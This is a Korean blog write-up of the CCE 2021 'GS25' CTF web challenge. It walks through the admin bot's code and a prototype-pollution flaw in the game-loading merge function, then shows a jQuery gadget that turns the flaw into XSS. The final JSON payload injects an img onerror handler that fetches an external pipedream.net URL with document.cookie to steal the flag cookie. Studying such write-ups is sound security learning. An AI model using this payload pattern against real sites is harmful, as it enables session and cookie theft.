ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] CCE 2021 GS25 Writeup
    CTF/CCE 2021 2021. 9. 27. 22:22

    테트리스 게임을 할 수 있는 페이지와 로봇 페이지가 주어진다.

    게임 저장/불러오기 기능이 제공된다. 

     

    봇의 기능은 filename과 code를 입력하면 

    const express = require('express')
    const app = express()
    // const __DIR = '/usr/src/app'
    const __DIR = './'
    const puppeteer = require('puppeteer')
    const url = 'http://prob'
    
    /* express */
    app.set('views', __DIR + '/views')
    app.set('view engine', 'ejs')
    app.engine('html', require('ejs').renderFile)
    
    app.use(express.json())
    app.use(express.urlencoded({ extended: true }))
    
    app.get('/', (req, res) => {
      res.render('index')
    })
    
    app.post('/', async (req, res) => {
      const { fileName, code } = req.body
      const cookies = [{
        'name': 'fileName',
        'value': fileName
      },
      {
        'name': 'flag',
        'value': 'cce2021{EXAMPLE_FLAG}' ##### ........................................ (1)
      }
      ]
    
      await (async () => {
        const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] })
        const page = await browser.newPage()
    
        page.on('dialog', async dialog => {
          if(dialog.message() == 'Input your game data code') await dialog.accept(code)
          else await dialog.dismiss()
        })
    
        await page.goto(url, {
          waitUntil: 'networkidle2',
        })
    
        await page.setCookie(...cookies) #####
      
        await page.click('#playBtn')     ##### ......................................... (2)
        
        await page.keyboard.type('l')    ##### 
    
        await new Promise(resolve => setTimeout(resolve, 1000))
    
        await browser.close()
      })()
    
      res.send("Done")
    })
    
    app.listen(80)

    (1), (2) 와 같이 쿠키에 플래그를 추가 한 뒤에, 입력받은 정보의 게임을 load한다.

    따라서, 게임이 로드되면서 xss를 발생 시킬 수 있다면 flag값이 포함된 쿠키를 탈취 할 수 있을것이라고 생각했다.

     

    저장된 게임을 로드하는 로직에서 취약점이 있을 것이라고 생각하고 코드를 분석해보았다.

    async function loadGame(){
      
      const code = prompt('Input your game data code')
      const req = await axios.post('/loadGame', { code })
      const result = req.data
      
      if (result.state !== 'ok') {
        alert('error')
        return 
      }
    
      const data = req.data.data
    
      function isObject(obj) {
        return obj !== null && typeof obj === 'object'
      }
    
      function merge(a, b) { ##### ................................................... (1)
        for (let key in b) {
          if (isObject(a[key]) && isObject(b[key])) {
            merge(a[key], b[key])
          } else {
            a[key] = b[key]
          }
        }
        return a
      }
    
      this.cGameInfo = new GameInfo()
    
      merge(this.cGameInfo, data)
      console.log(a)
      initScreen()
      initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume)
      initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow)
      initNextBlockInfo()
      setNextPieces()
      clearInterval(this.cGameInfo.dropIntervalId)
      setDropInterval()
      $(document).off('keydown') ##### 
      document.addEventListener('keydown', keyboardEventHandler)
      $(document).off('touchmove') ##### .............................................. (2)
      setControleButton()
      
      this.cGameInfo.changeSpeedDisplay()
      this.cGameInfo.updateScore(0)
    }

    (1)과 같이 게임 정보를 merge하는 과정에서 Prototype Pollution 공격이 가능하다.

    해당 공격 기법에 대한 내용은 아래 글을 참조하면 좋을 것 같다.

    https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

     

    Node.js에서의 프로토타입 오염 공격이란 무엇인가

    __proto__을 이용한 프로토타입 오염(prototype pollution) 공격의 원리를 설명하면서 노드 환경에서 실제 공격이 가능한 사례를 함께 소개합니다.

    blog.coderifleman.com

    프로토 타입을 오염시키더라도 이를 호출하는 구간이 없다고 생각해서 많이 헤맸다. 그 해답은 jquery에 있었다.

    merge가 일어난 후에 호출되는 구간이 도저히 안보여서 생소한 내용이었던 $(document.)off('~~~')에서 취약점이 발생할 가능성이 있는지 공부하다가 jquery에서 xss를 발생시키는 가젯 예시에대한 자료를 찾았다. 

    https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

     

    GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets

    Prototype Pollution and useful Script Gadgets. Contribute to BlackFan/client-side-prototype-pollution development by creating an account on GitHub.

    github.com

     

    이를 참조하여 아래와 같이 Prototype Pollution 과 jqeury xss 취약점을 이용해서 플래그를 획득 할 수 있었다.

    {
        "data": {
            "__proto__": {
                "__proto__": {
                    "preventDefault": "x",
                    "handleObj": "x",
                    "delegateTarget": "<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?f=`+document.cookie)>"
                }
            }
        }
    }

     

    FLAG = cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}

     

    이 풀이 말고, 시도했다가 실패했지만 조금 더 섬세하게 시도했으면 보다 빨리 풀었을듯한 풀이를 소개하자면, 게임 화면에 표기되는 gameScoreTag에 아예 innerHTML을 지정하여 XSS를 발생시키는 방법이었다. 분명 똑같이 시도했던거같은데 안되었었는데..

    대회 종료 후 해당 풀이 또한 유효함을 확인 할 수 있었다. (왜 내가 했을 땐 안됬지..?)

    반응형

    'CTF > CCE 2021' 카테고리의 다른 글

    [Clear] CCE 2021 ptmd Writeup  (0) 2021.09.27

    댓글

Designed by Tistory.